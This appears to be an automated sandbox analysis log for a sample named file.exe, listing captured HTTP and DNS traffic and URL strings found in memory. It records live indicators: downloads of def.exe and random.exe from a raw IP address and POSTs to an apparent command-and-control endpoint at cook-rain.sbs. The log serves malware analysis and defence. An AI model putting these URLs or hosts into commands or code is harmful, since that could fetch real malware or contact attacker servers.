Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.1695602727.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696221263.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1696121063.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, file.exe, 00000000.00000003.1695602727.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1802595444.0000000000BD1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1787510427.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1802164563.00000000008FB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, file.exe, 00000000.00000003.1695602727.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1802595444.0000000000BD1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1787510427.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1576456236.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1611460790.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000002.1802595444.0000000000BE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1787510427.0000000000BE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.co(
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_129.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1540978723.0000000005871000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_129.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_129.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_129.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_129.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1561723800.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1558164369.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572114206.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1562218373.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1562020361.0000000000BEF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1540497373.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1611460790.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/&
Source: file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs//
Source: file.exe, 00000000.00000003.1558164369.0000000000BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/KxT
Source: file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/T
Source: file.exe, file.exe, 00000000.00000003.1611460790.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1582543070.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1582354414.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572114206.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572040614.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1576456236.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1572040614.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api0Z
Source: file.exe, 00000000.00000003.1572040614.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apigLX/
Source: file.exe, 00000000.00000003.1611460790.0000000000BD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apigsBX1
Source: file.exe, 00000000.00000003.1572040614.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/y
Source: file.exe, 00000000.00000002.1802332924.0000000000B62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apical
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_129.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_129.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_109.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_109.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1558074691.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_121.6.dr, chromecache_109.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1542010092.000000000586D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1542507663.0000000005968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
